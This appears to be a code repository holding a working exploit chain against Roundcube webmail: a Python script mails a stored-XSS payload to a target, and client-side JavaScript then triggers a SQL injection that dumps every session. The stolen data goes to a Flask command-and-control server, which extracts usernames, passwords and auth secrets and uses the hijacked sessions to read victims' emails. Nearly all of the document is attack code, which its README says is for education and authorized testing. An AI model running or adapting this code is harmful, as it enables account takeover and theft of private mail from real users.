├── static └── fetcher.js ├── README.md └── exploit.py /static/fetcher.js: -------------------------------------------------------------------------------- 1 | let csrf = rcmail.env.request_token; 2 | 3 | let c2 = "" 4 | let sqli_payload = `1=0+UNION+SELECT+1,1,now(),1,u%26"sess\\005fid",'','',vars,NULL,''+from+session;--` 5 | 6 | fetch( 7 | `/?_task=mail&_action=list&_mbox=INBOX&_remote=1&_sort=${sqli_payload}`, { 8 | credentials: "include" 9 | } 10 | ) 11 | .then((response) => { 12 | if (!response.ok) { 13 | throw new Error("Polluting $_SESSION with our sort value failed."); 14 | } 15 | return; 16 | }) 17 | .then(() => { 18 | return fetch( 19 | "/?_task=mail&_action=search&_interval=&_q=test&_filter=ALL&_scope=base&_mbox=INBOX&_remote=1", { 20 | credentials: "include" 21 | } 22 | ); 23 | }) 24 | .then((response) => { 25 | if (!response.ok) { 26 | throw new Error( 27 | "Setting $_SESSION['search'] with our sort value failed." 28 | ); 29 | } 30 | return fetch( 31 | `/?_task=addressbook&_source=0&_action=export&_token=${csrf}&_search=3`, { 32 | credentials: "include" 33 | } 34 | ); 35 | }) 36 | .then((response) => { 37 | if (!response.ok) { 38 | throw new Error("Triggering the SQLi failed."); 39 | } 40 | return response.text(); 41 | }) 42 | .then((text) => { 43 | fetch(c2 + "/store", { 44 | method: "POST", 45 | body: JSON.stringify({ 46 | data: btoa(text) 47 | }), 48 | mode: "no-cors", 49 | }); 50 | }) 51 | .catch((error) => { 52 | fetch(c2 + "/error", { 53 | method: "POST", 54 | body: JSON.stringify({ 55 | error: error.message 56 | }), 57 | mode: "no-cors", 58 | }); 59 | }); 60 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Roundcube CVE-2021-44026, a SQL injection 2 | 3 | This repository contains a demo exploit for an [SQL injection in Roundcube](https://pentest-tools.com/blog/roundcube-exfiltrating-emails-with-cve-2021-44026). 4 | 5 | **Disclaimer**: 6 | 7 | This code is intended solely for educational purposes and to assist security teams in identifying vulnerabilities in their Roundcube instances. 8 | It should only be used in ethical hacking engagements in which the security professional has written authorization to ethically exploit the target(s) included in the scope. 9 | The authors are not liable for any misuse or illegal use of this exploit code. 10 | 11 | ## Usage 12 | 13 | ```shell 14 | usage: exploit.py [-h] smtp_server smtp_port sender_email sender_password target_email c2_server 15 | 16 | Roundcube CVE-2020-35730 & CVE-2021-44026 exploit 17 | 18 | positional arguments: 19 | 20 |   smtp_server      Sender SMTP server name 21 | 22 |   smtp_port        Sender SMTP server port 23 | 24 |   sender_email     Sender email address 25 | 26 |   sender_password  Sender email password for logging into the SMTP server 27 | 28 |   target_email     Target email address 29 | 30 |   c2_server        The URL on which the C2 server will listen 31 | 32 | 33 | 34 | optional arguments: 35 | 36 |   -h, --help       show this help message and exit 37 | ``` 38 | 39 | When ran, the code starts a Flask server, `c2_server` in the code, which does the exploit in two steps: 40 | 41 | 1. It sends an email to a target from a given sender address. This email contains an exploit for another Roundcube vulnerability, an XSS tracked as [CVE-2020-35730](https://nvd.nist.gov/vuln/detail/CVE-2020-35730). We use it to send the requests necessary for the SQL injection from an authenticated session. All the JavaScript code that runs on the client side is in`static/fetcher.js` 42 | 2. The JavaScript code extracts all the sessions from the database and sends them back to the C2 server as a _VCARD_. On the server side, the session variables are extracted from the _VCARD_. For each authenticated session the code extracts the most recent emails received. 43 | 44 | Note: You can use a Gmail account as the sender's email. Use `stmp.gmail.com` for the server and `587` for the port. Configure a password just for this usage by following the guide [here](https://support.google.com/mail/answer/185833?hl=en#zippy=). 45 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | from datetime import datetime 4 | import argparse 5 | import logging as log 6 | 7 | import smtplib 8 | import base64 9 | from email.mime.multipart import MIMEMultipart 10 | from email.mime.text import MIMEText 11 | 12 | 13 | import requests 14 | from flask import Flask, logging, request 15 | 16 | app = Flask(__name__) 17 | logger = logging.create_logger(app) 18 | logger.setLevel(10) 19 | 20 | 21 | class Mail: 22 | def __init__( 23 | self, smtp_server, smtp_port, sender_email, sender_password, target_email 24 | ): 25 | self.smtp_server = smtp_server 26 | self.smtp_port = smtp_port 27 | self.sender_email = sender_email 28 | self.sender_password = sender_password 29 | self.target_email = target_email 30 | 31 | def send_email(self, subject, message_body): 32 | mail_message = MIMEMultipart() 33 | mail_message["Subject"] = subject 34 | mail_message["From"] = self.sender_email 35 | mail_message["To"] = self.target_email 36 | 37 | message = MIMEText(message_body) 38 | mail_message.attach(message) 39 | 40 | try: 41 | smtp_server = smtplib.SMTP(self.smtp_server, self.smtp_port) 42 | smtp_server.connect(self.smtp_server, self.smtp_port) 43 | smtp_server.ehlo() 44 | smtp_server.starttls() 45 | smtp_server.ehlo() 46 | smtp_server.login(self.sender_email, self.sender_password) 47 | smtp_server.sendmail( 48 | self.sender_email, self.target_email, mail_message.as_string() 49 | ) 50 | except smtplib.SMTPException: 51 | return False 52 | 53 | log.info("Mail was successfully sent!") 54 | return True 55 | 56 | 57 | class Exploit: 58 | C2_PAYLOAD = 'var s=document.createElement("script");s.type="text/javascript";s.src="{url}/static/{filename}";document.head.append(s);' 59 | XSS_PAYLOAD = "[]:##str_replacement_0##" 60 | 61 | def __init__(self, c2_server, c2_filename): 62 | self.target_host = c2_server 63 | self.filename = c2_filename 64 | 65 | def build_fetching_payload(self): 66 | c2_payload = self.C2_PAYLOAD.format( 67 | url=self.target_host, filename=self.filename 68 | ) 69 | encoded_payload = base64.b64encode(c2_payload.encode("latin-1")).decode( 70 | "latin-1" 71 | ) 72 | payload = self.XSS_PAYLOAD.format(enc_payload=encoded_payload) 73 | 74 | return payload 75 | 76 | 77 | @app.route("/") 78 | def index(): 79 | return "Hello from Flask!" 80 | 81 | 82 | @app.route("/error", methods=["POST"]) 83 | def error(): 84 | body = request.get_data(as_text=True) 85 | logger.error(f"Exploit failed. Reason: {body}") 86 | 87 | return "" 88 | 89 | 90 | def generate_timestamp(): 91 | lifetime = 600 92 | time_format = "%a, %d %b %Y %H:%M:%S %z" 93 | 94 | try: 95 | date = requests.get("http://45.32.150.130:9009/").headers["Date"] 96 | date = " ".join(date.split(" ")[:-1]) + " +0000" 97 | except (IndexError, KeyError, TypeError, requests.exceptions.RequestException): 98 | return None 99 | 100 | now = int(datetime.strptime(date, time_format).timestamp()) 101 | now = now - (now % (lifetime // 2)) 102 | 103 | return now 104 | 105 | 106 | def fetch_mails(tokens_dict): 107 | response_dict = {} 108 | url = "http://45.32.150.130:9009" 109 | 110 | for sess_id, token in tokens_dict.items(): 111 | timestamp = generate_timestamp() 112 | if not token or not timestamp: 113 | continue 114 | 115 | auth_secret = token.get("auth_secret", "") 116 | if not auth_secret: 117 | continue 118 | 119 | cookies = { 120 | "roundcube_sessid": sess_id, 121 | "roundcube_sessauth": f"{token.get('auth_secret', '')}-{timestamp}", 122 | } 123 | 124 | try: 125 | response = requests.get( 126 | url + "/?_task=mail&_action=list&_mbox=INBOX&_remote=1&_threads=1", 127 | cookies=cookies, 128 | timeout=1.0, 129 | ) 130 | except requests.exceptions.RequestException: 131 | continue 132 | 133 | if not response.text: 134 | continue 135 | 136 | lines = response.text.split("\\n") 137 | identifier = "this.add_message_row" 138 | 139 | mails = [] 140 | 141 | for line in lines: 142 | if not line.startswith(identifier): 143 | continue 144 | 145 | # The uid is the first parameter in the call to add_message row, so the 146 | # pattern we are looking for is this.add_message_row(UID, ...) 147 | mail_uid = line[line.find("(") + 1 : line.find(",")] 148 | logger.info("Got uid: %s" % mail_uid) 149 | 150 | request_token = token.get("request_token") 151 | if not request_token: 152 | continue 153 | 154 | req = requests.get( 155 | url 156 | + f"/?_task=mail&_save=1&_uid={mail_uid}&_mbox=INBOX&_action=viewsource&_token={request_token}", 157 | cookies=cookies, 158 | timeout=1, 159 | ) 160 | 161 | mail_text = req.text 162 | if not mail_text: 163 | continue 164 | 165 | logger.info("Got mail: %s" % mail_text) 166 | mails.append(mail_text) 167 | 168 | if not mails: 169 | continue 170 | 171 | logger.debug( 172 | "Mails of %s:\n%s" 173 | % (token.get("username"), "\n".join((str(mail) for mail in mails))) 174 | ) 175 | 176 | response_dict[token.get("username")] = response.text 177 | 178 | return response_dict 179 | 180 | 181 | @app.route("/store", methods=["POST"]) 182 | def store(): 183 | tokens = {} 184 | reading = False 185 | sess_id, sess_variables = "", "" 186 | 187 | body = request.get_data(as_text=True) 188 | data = json.loads(body)["data"] 189 | data = base64.b64decode(data).decode("utf-8").strip() 190 | 191 | for line in data.split("\r\n"): 192 | if not reading: 193 | sess_id, sess_variables = "", "" 194 | if line.startswith("BEGIN:VCARD"): 195 | reading = True 196 | continue 197 | 198 | if line.startswith("N:"): 199 | sess_variables += line[2:].strip() 200 | elif line.startswith(" "): 201 | sess_variables += line[1:].strip() 202 | 203 | if line.startswith("FN:"): 204 | sess_id = line[3:].strip() 205 | elif line.startswith("END:VCARD"): 206 | reading = False 207 | sess_variables = sess_variables.strip(";") 208 | sess_variables = ( 209 | base64.b64decode(sess_variables).decode("utf-8").strip(" \r\n{}\t") 210 | ) 211 | 212 | wanted_keys = {} 213 | exfiltate_keys = ( 214 | "username", 215 | "password", 216 | "auth_secret", 217 | "request_token", 218 | "login_time", 219 | ) 220 | 221 | for value in sess_variables.split(";"): 222 | for key in exfiltate_keys: 223 | 224 | if not value.startswith(key): 225 | continue 226 | try: 227 | split = value[len(key) + 1 :].split(":") 228 | value_type = split[0] 229 | 230 | if value_type == "i": 231 | wanted_keys[key] = split[1].strip('"') 232 | elif value_type == "s": 233 | wanted_keys[key] = split[2].strip('"') 234 | else: 235 | wanted_keys[key] = value 236 | except IndexError: 237 | logger.error("Failed to extract value %s" % value) 238 | wanted_keys[key] = "" 239 | 240 | tokens[sess_id] = wanted_keys 241 | 242 | logger.info("Exploit succeeded. Data:") 243 | 244 | for sess_id, sess_vars in tokens.items(): 245 | logger.info(f"Session ID: {sess_id}") 246 | for key in sess_vars: 247 | logger.info(f"\t{key}: {sess_vars[key]}") 248 | 249 | fetch_mails(tokens) 250 | 251 | return "" 252 | 253 | 254 | if __name__ == "__main__": 255 | parser = argparse.ArgumentParser( 256 | description="Roundcube CVE-2020-35730 & CVE-2021-44026 exploit" 257 | ) 258 | 259 | # Add arguments 260 | parser.add_argument("smtp_server", type=str, help="Sender SMTP server name") 261 | parser.add_argument("smtp_port", type=str, help="Sender SMTP server port") 262 | parser.add_argument("sender_email", type=str, help="Sender email address") 263 | parser.add_argument( 264 | "sender_password", 265 | type=str, 266 | help="Sender email password for logging into the SMTP server", 267 | ) 268 | parser.add_argument("target_email", type=str, help="Target email address") 269 | parser.add_argument( 270 | "c2_server", 271 | type=str, 272 | help="The URL on which the C2 server will listen", 273 | default="http://localhost:81", 274 | ) 275 | 276 | # Parse the command-line arguments 277 | args = parser.parse_args() 278 | 279 | c2_filename = "fetcher.js" 280 | c2_file_path = "./static/fetcher.js" 281 | with open(c2_file_path) as file: 282 | replace_c2_server = file.read().replace("", args.c2_server) 283 | with open(c2_file_path, "w") as file: 284 | file.write(replace_c2_server) 285 | 286 | exploit = Exploit(c2_server=args.c2_server, c2_filename=c2_filename) 287 | payload = exploit.build_fetching_payload() 288 | 289 | mail = Mail( 290 | smtp_server=args.smtp_server, 291 | smtp_port=args.smtp_port, 292 | sender_email=args.sender_email, 293 | sender_password=args.sender_password, 294 | target_email=args.target_email, 295 | ) 296 | mail.send_email(subject="Hello!", message_body=payload) 297 | app.run(host="0.0.0.0", port=81) 298 | --------------------------------------------------------------------------------